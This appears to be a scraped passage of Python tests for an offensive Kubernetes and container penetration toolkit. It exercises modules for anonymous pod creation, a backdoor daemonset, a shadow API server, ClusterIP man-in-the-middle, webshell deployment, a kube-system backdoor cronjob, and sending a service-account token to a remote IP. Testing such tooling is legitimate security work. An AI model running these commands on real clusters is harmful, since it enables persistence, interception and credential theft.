    check_pod_exec(
        r'''
        kcurl anonymous post 'https://172.21.0.1:443/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"cdxy-test-2021\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"ubuntu:latest\",\"name\":\"container\"}]}}\n"},"name":"cdxy-test-2021","namespace":"default"},"spec":{"containers":[{"image":"ubuntu:latest","name":"container"}]}}'
        '''.replace('\n', ''), ['apiVersion', 'api-server response'],
        ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'], False)

    # run: k8s-backdoor-daemonset
    check_pod_exec(
        'run k8s-backdoor-daemonset 1',  # success dump
        ['invalid'],
        ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],
        False)
    check_pod_exec(
        'run k8s-backdoor-daemonset anonymous ubuntu',  # success dump
        ['cdk-backdoor-daemonset'],
        ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],
        False)

    # run: istio-check
    check_pod_exec('run istio-check', ['the shell is not in a istio'],
                   ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],
                   False)

    # test evaluate in selfbuild k8s
    # make sure bind system:default:default to cluster-admin first (test/k8s_exploit_yaml/default_to_admin.yaml)
    check_selfbuild_k8s_pod_exec('evaluate', [
        '00000000a80425fb', 'Discovery - K8s API Server',
        'the service-account have a high authority'
    ], ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'], False)

    # run: k8s-shadow-apiserver
    k8s_master_ssh_cmd(
        'kubectl delete pod kube-apiserver-cn-beijing.192.168.0.150-shadow -n kube-system',
        [], [], False)
    check_selfbuild_k8s_pod_exec(
        'run k8s-shadow-apiserver default',  # success
        ['listening insecure-port: 0.0.0.0:9443'],
        ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],
        False)
    check_selfbuild_k8s_pod_exec(
        'run k8s-shadow-apiserver anonymous',  # forbidden
        ['forbidden this request'],
        [
            'listening insecure-port: 0.0.0.0:9443', 'panic:',
            'nodes is forbidden', 'cdk evaluate', 'empty'
        ],
        False)
    k8s_master_ssh_cmd(
        'kubectl exec myappnew -- curl 192.168.0.150:9443',  # curl shadow-apiserver
        ['/api/v1'],
        [],
        False)

    # run: k8s-mitm-clusterip
    k8s_master_ssh_cmd('kubectl delete deployment mitm-payload-deploy', [], [],
                       False)
    k8s_master_ssh_cmd('kubectl delete service mitm-externalip', [], [], False)
    check_selfbuild_k8s_pod_exec(
        'run k8s-mitm-clusterip default ubuntu 9.9.9.9 99',  # forbidden
        ['selfLink'],
        [
            'listening insecure-port: 0.0.0.0:9443', 'panic:',
            'nodes is forbidden', 'cdk evaluate', 'empty'
        ],
        False)

    # exploit: webshell-deploy
    check_pod_exec('run webshell-deploy php /var/www/html212/1.php',
                   ['no such file or directory', 'failed'],
                   ['input args', '*****@*****.**', 'cdk evaluate'], False)
    check_pod_exec('run webshell-deploy php', ['input args'],
                   ['*****@*****.**', 'cdk evaluate'], False)
    check_pod_exec('run webshell-deploy js1p /tmp/1.jsp', ['input args'],
                   ['*****@*****.**', 'cdk evaluate'], False)
    check_pod_exec('run webshell-deploy jsp /tmp/1.jsp', ['webshell saved in'],
                   ['*****@*****.**', 'cdk evaluate', '%s', 'input args'], False)

    # run: cronjob
    k8s_master_ssh_cmd(
        'kubectl delete cronjob cdk-backdoor-cronjob -n kube-system', [], [],
        False)
    check_selfbuild_k8s_pod_exec(
        'run k8s-cronjob default min alpine "echo helloworld"',
        ['generate cronjob with', 'selfLink'],
        ['*****@*****.**', 'cdk evaluate', '%s', 'input args'], False)
Пример #4
0
def test_dev():
    check_pod_exec(
        'run istio-check',  # success dump
        ['the shell is not in a istio'],
        ['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],
        False)
Пример #5
0
def test_dev():
    # exploit: k8s-get-sa-token (with remote ip listening port)
    check_pod_exec('run k8s-get-sa-token default admin 39.104.80.49 999', [''],
                   ['*****@*****.**', 'cdk evaluate'], True)